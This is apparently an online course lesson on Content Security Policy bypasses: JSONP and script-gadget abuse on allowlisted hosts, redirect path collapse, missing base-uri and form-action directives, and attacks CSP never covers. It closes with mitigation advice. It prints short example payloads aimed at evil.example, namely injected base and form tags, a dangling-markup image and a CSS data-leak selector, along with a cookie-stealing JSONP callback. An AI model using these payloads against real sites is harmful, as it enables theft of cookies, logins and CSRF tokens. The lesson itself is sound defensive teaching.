Lesson 9 of 14 · 13m
CSP Bypasses and What It Can't Stop
JSONP endpoints and script gadgets on allowed hosts, path collapse on redirects, missing base-uri and form-action directives, and the attacks CSP never governed.
An allowlist is only as strong as its weakest host
CSP fails in two directions: the policy permits something that can be abused, or the mechanism never covered the attack. Both happen constantly in production, and knowing the patterns is what separates a CSP that blocks from a CSP that decorates.
Host-allowlist collapse
The 2016 Google study "CSP Is Broken: Let's Fix It" remains the canonical analysis: the overwhelming majority of script-src host allowlists were bypassable. Two mechanisms did the damage.
JSONP endpoints. If any allowed host serves JSONP — https://cdn.example/jsonp?callback=foo returns foo({...}) — the attacker requests ?callback=alert(document.cookie)// and the response is executable JavaScript calling attacker-chosen code. Many public CDNs and APIs still expose JSONP, so script-src 'self' cdn.example quietly includes a code-generation service.
Script gadgets. Old versions of Angular and similar libraries contain functions reachable via markup (prototypal helpers, ng-app gadgets) that an injected <div> can steer into evaluation. The allowed host supplies both the gadget and the privilege.
There is also a spec-level quirk worth knowing: when a source in the allowlist contains a path — script-src https://cdn.example/lib/ — browsers ignore the path component if the request redirects. Any open redirect or loose redirector on an allowed host widens the policy to the whole host. Paths in script-src are decorative security.
'strict-dynamic' from lesson 8 is the designed answer: stop trusting hosts entirely and let trust propagate from nonced roots. The JSONP endpoint on an allowed host stops mattering when no host list exists to satisfy.
The directives people leave off
A policy can be airtight on scripts and still leak everything through directives nobody wrote:
base-uri. Inject<base href="https://evil.example/">and every relative URL on the page — including relativescript src— resolves against the attacker's origin.base-uri 'none'is two words; the failure is forgetting them.form-action. Without it, injected<form action="https://evil.example">is legal markup — no script needed — and whatever the victim types posts out. Login forms and CSRF-token-bearing hidden fields are the targets.manifest-src,media-src,worker-src. Anything left unlisted falls back todefault-src— which is whydefault-src 'none'in lesson 7 is load-bearing, and why a policy missing it has holes nobody ever greps for.- Dangling markup.
<img src="https://evil.example/left unclosed swallows the rest of the document into the URL — a technique for exfiltrating rendered secrets like CSRF tokens without executing anything. Chromium cuts the slurp at the first newline andimg-srcconstrains the destination, but the real fix is not reflecting secrets into markup an injector can reshape.
What CSP never covered
A CSP governs resource loads and script execution. It says nothing about:
- Legitimate code doing harm. Your own JavaScript, and every allowed third-party script, run at full trust. CSP cannot distinguish a compromised-but-allowed CDN file — that is the SRI problem (lesson 11).
- CSS-only exfiltration. Attribute selectors plus
background: url()leaks data without script:input[value^="s"]{background:url(//evil.example/s)}iterates secret prefixes. Tightstyle-srcand never rendering secrets into attributes are the controls. - Navigation.
window.locationassignments and link clicks are not resource fetches;form-actionandframe-ancestorscover their corners, but nothing stops injected<a href>phishing. - postMessage and storage flows. Data moving between windows crosses no CSP boundary.
- Browser extensions and isolated worlds. Content scripts execute outside your CSP entirely.
What to actually do
Use nonce + 'strict-dynamic' so the bypass surface is a random string, not a host list. Audit every host you do allow for JSONP endpoints, old gadget libraries, and open redirects. Always pair object-src 'none' with base-uri 'none' and a form-action. And keep the mental model straight: CSP limits what may load and execute. It does not make loaded code trustworthy, and it does not see attacks that need no script.
Was this lesson helpful?
Keep reading
Related articles from the SudoSecurity blog.
They Got Root on a Fully Patched Ivanti VPN and the Integrity Checker Said Everything Was Fine
Volexity caught an attacker chaining zero-days into unauthenticated root on an Ivanti Connect Secure appliance running the latest build. The payload never touched disk, commands rode in over the same HTTPS requests as the exploit, and Ivanti's Integrity Checker reported no modifications.
Gitea Shipped 21 CVEs in One Release and Eleven of Them Are the Same Bug
Gitea 28.3.0 landed November 1 with twenty-one CVE fixes. Read the list and a pattern jumps out: more than half are the same failure repeated across different route handlers, where a token scoped to public data gets handed private data anyway. That's not twenty-one mistakes.
php2shell: The PHP Bug That Fires Before Your Code Runs
Two critical PHP flaws landed October 21 and were in CISA's exploited-vulnerabilities catalog five days later. The 9.2 score isn't the part that should bother you. It's where the bug lives — it goes off while PHP is still assembling $_POST, before a single line of your application has run.
A Certificate Authority's Private Keys Were the Numbers 4, 56 and 66
Eight eMudhra intermediate CA keys turned out to be recoverable from their own public certificates. Not stolen — computable, because the key generation produced almost no entropy. A researcher pulled all eight in under a second and signed a message with each one to prove it.